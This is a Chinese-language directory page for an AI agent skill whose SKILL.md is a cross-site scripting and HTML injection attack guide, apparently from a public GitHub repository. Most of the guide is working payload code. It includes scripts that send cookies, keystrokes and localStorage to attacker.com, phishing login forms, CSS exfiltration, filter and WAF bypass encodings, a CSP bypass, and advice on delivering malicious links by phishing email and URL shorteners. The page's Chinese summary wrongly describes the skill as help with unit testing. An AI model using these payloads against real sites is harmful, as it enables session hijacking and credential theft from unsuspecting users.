Token导航 LogoToken导航TokenDH.com
研究检索操作浏览器github未标认证来源可访问clear审计异常

cross-site-scripting-and-html-injection-testingcross site scripting AND HTML injection 测试

Agent Skill

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

总安装

10,993

周安装

275

GitHub Stars

4,068

下载量

3,655
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

3

许可证

MIT

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:cross-site-scripting-and-html-injection-testing(cross site scripting AND HTML injection 测试)
来源仓库:https://github.com/zebbern/claude-code-guide
仓库路径:skills/cross-site-scripting-and-html-injection-testing
安装命令:
npx skills add https://github.com/zebbern/claude-code-guide --skill 'Cross-Site Scripting and HTML Injection Testing'
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。不同来源提供的安装方式可能略有差异;本站展示可直接复制的安装命令,安装前请核对来源页面。

skills.shnpx skills
npx skills add https://github.com/zebbern/claude-code-guide --skill 'Cross-Site Scripting and HTML Injection Testing'

简介

zebbern-claude-code-guide-cross-site-scripting-and-html-injection-testing 用于辅助测试设计、自动化测试、用例整理和回归验证。

  • 它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。
  • 安装方式是通过 npx skills add 命令从指定 GitHub 仓库添加。
  • 使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。
  • 适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

SKILL.md

Cross-Site Scripting and HTML Injection Testing

Purpose

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.

Inputs / Prerequisites

Required Access

  • Target web application URL with user input fields
  • Burp Suite or browser developer tools for request analysis
  • Access to create test accounts for stored XSS testing
  • Browser with JavaScript console enabled

Technical Requirements

  • Understanding of JavaScript execution in browser context
  • Knowledge of HTML DOM structure and manipulation
  • Familiarity with HTTP request/response headers
  • Understanding of cookie attributes and session management

Legal Prerequisites

  • Written authorization for security testing
  • Defined scope including target domains and features
  • Agreement on handling of any captured session data
  • Incident response procedures established

Outputs / Deliverables

  • XSS/HTMLi vulnerability report with severity classifications
  • Proof-of-concept payloads demonstrating impact
  • Session hijacking demonstrations (controlled environment)
  • Remediation recommendations with CSP configurations

Core Workflow

Phase 1: Vulnerability Detection

Identify Input Reflection Points

Locate areas where user input is reflected in responses:

# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)

Basic Detection Testing

Insert test strings to observe application behavior:

<!-- Basic reflection test -->
<test123>

<!-- Script tag test -->
<script>alert('XSS')</script>

<!-- Event handler test -->
<img src=x onerror=alert('XSS')>

<!-- SVG-based test -->
<svg onload=alert('XSS')>

<!-- Body event test -->
<body onload=alert('XSS')>

Monitor for:

  • Raw HTML reflection without encoding
  • Partial encoding (some characters escaped)
  • JavaScript execution in browser console
  • DOM modifications visible in inspector

Determine XSS Type

Stored XSS Indicators:

  • Input persists after page refresh
  • Other users see injected content
  • Content stored in database/filesystem

Reflected XSS Indicators:

  • Input appears only in current response
  • Requires victim to click crafted URL
  • No persistence across sessions

DOM-Based XSS Indicators:

  • Input processed by client-side JavaScript
  • Server response doesn't contain payload
  • Exploitation occurs entirely in browser

Phase 2: Stored XSS Exploitation

Identify Storage Locations

Target areas with persistent user content:

- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences

Craft Persistent Payloads

<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>

<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
  new Image().src='http://attacker.com/log?k='+e.key;
}
</script>

<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
  method:'POST',
  body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>

<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>

Phase 3: Reflected XSS Exploitation

Construct Malicious URLs

Build URLs containing XSS payloads:

# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>

# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>

# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>

Delivery Methods

Techniques for delivering reflected XSS to victims:

1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains

Phase 4: DOM-Based XSS Exploitation

Identify Vulnerable Sinks

Locate JavaScript functions that process user input:

// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()

Identify Sources

Locate where user-controlled data enters the application:

// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage

DOM XSS Payloads

// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>

// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>

// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>

Phase 5: HTML Injection Techniques

Reflected HTML Injection

Modify page appearance without JavaScript:

<!-- Content injection -->
<h1>SITE HACKED</h1>

<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>

<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>

<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>

Stored HTML Injection

Persistent content manipulation:

<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>

<!-- Style override -->
<style>body{background:red !important;}</style>

<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>

Phase 6: Filter Bypass Techniques

Tag and Attribute Variations

<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>

<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>

<!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">

Encoding Bypass

<!-- HTML entity encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

<!-- Hex encoding -->
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

<!-- Unicode encoding -->
<script>\u0061lert(1)</script>

<!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>

JavaScript Obfuscation

// String concatenation
<script>eval('al'+'ert(1)')</script>

// Template literals
<script>alert`1`</script>

// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>

// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>

// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>

Whitespace and Comment Bypass

<!-- Tab/newline insertion -->
<img src=x	onerror
=alert(1)>

<!-- JavaScript comments -->
<script>/**/alert(1)/**/</script>

<!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->

Quick Reference

XSS Detection Checklist

1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential

Common XSS Payloads

ContextPayload
HTML body<script>alert(1)</script>
HTML attribute"><script>alert(1)</script>
JavaScript string';alert(1)//
JavaScript template${alert(1)}
URL attributejavascript:alert(1)
CSS context</style><script>alert(1)</script>
SVG context<svg onload=alert(1)>

Cookie Theft Payload

<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>

Session Hijacking Template

<script>
fetch('https://attacker.com/log',{
  method:'POST',
  mode:'no-cors',
  body:JSON.stringify({
    cookies:document.cookie,
    localStorage:JSON.stringify(localStorage),
    url:location.href
  })
});
</script>

Constraints and Guardrails

Operational Boundaries

  • Never inject payloads that could damage production systems
  • Limit cookie/session capture to demonstration purposes only
  • Avoid payloads that could spread to unintended users (worm behavior)
  • Do not exfiltrate real user data beyond scope requirements

Technical Limitations

  • Content Security Policy (CSP) may block inline scripts
  • HttpOnly cookies prevent JavaScript access
  • SameSite cookie attributes limit cross-origin attacks
  • Modern frameworks often auto-escape outputs

Legal and Ethical Requirements

  • Written authorization required before testing
  • Report critical XSS vulnerabilities immediately
  • Handle captured credentials per data protection agreements
  • Do not use discovered vulnerabilities for unauthorized access

Examples

Example 1: Stored XSS in Comment Section

Scenario: Blog comment feature vulnerable to stored XSS

Detection:

POST /api/comments
Content-Type: application/json

{"body": "<script>alert('XSS')</script>", "postId": 123}

Observation: Comment renders and script executes for all viewers

Exploitation Payload:

<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Result: Every user viewing the comment has their session cookie sent to attacker's server.

Example 2: Reflected XSS via Search Parameter

Scenario: Search results page reflects query without encoding

Vulnerable URL:

https://shop.example.com/search?q=test

Detection Test:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

Crafted Attack URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E

Delivery: URL sent via phishing email to target user.

Example 3: DOM-Based XSS via Hash Fragment

Scenario: JavaScript reads URL hash and inserts into DOM

Vulnerable Code:

document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);

Attack URL:

https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>

Result: Script executes entirely client-side; payload never touches server.

Example 4: CSP Bypass via JSONP Endpoint

Scenario: Site has CSP but allows trusted CDN

CSP Header:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

Bypass: Find JSONP endpoint on trusted domain:

<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

Result: CSP bypassed using allowed script source.

Troubleshooting

IssueSolutions
Script not executingCheck CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled
Payload appears but doesn't executeBreak out of attribute context with " or '; check if inside comment; test different contexts
Cookies not accessibleCheck HttpOnly flag; try localStorage/sessionStorage; use no-cors mode
CSP blocking payloadsFind JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass
WAF blocking requestsUse encoding variations; fragment payload; null bytes; case variations

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

04

需要参考平台分布和安装热度时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

补充不同宿主或平台的使用分布数据

能力 5

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Antigravity

27.65%
按下载量换算1,011

Claude Code

23.78%
按下载量换算869

windsurf

19.39%
按下载量换算709

OpenCode

12.12%
按下载量换算443

Cursor

9.24%
按下载量换算338

Gemini CLI

3.4%
按下载量换算124

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

未通过

权限和风险

操作浏览器

该 Skill 可能涉及浏览器控制能力,使用时可能读取或操作网页内容,需要在受控环境中确认权限边界。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。来源字段存在多来源差异,先按来源优先级自动处理,无法消解时进入异常复核队列。

来源信息

继续浏览同类 Skills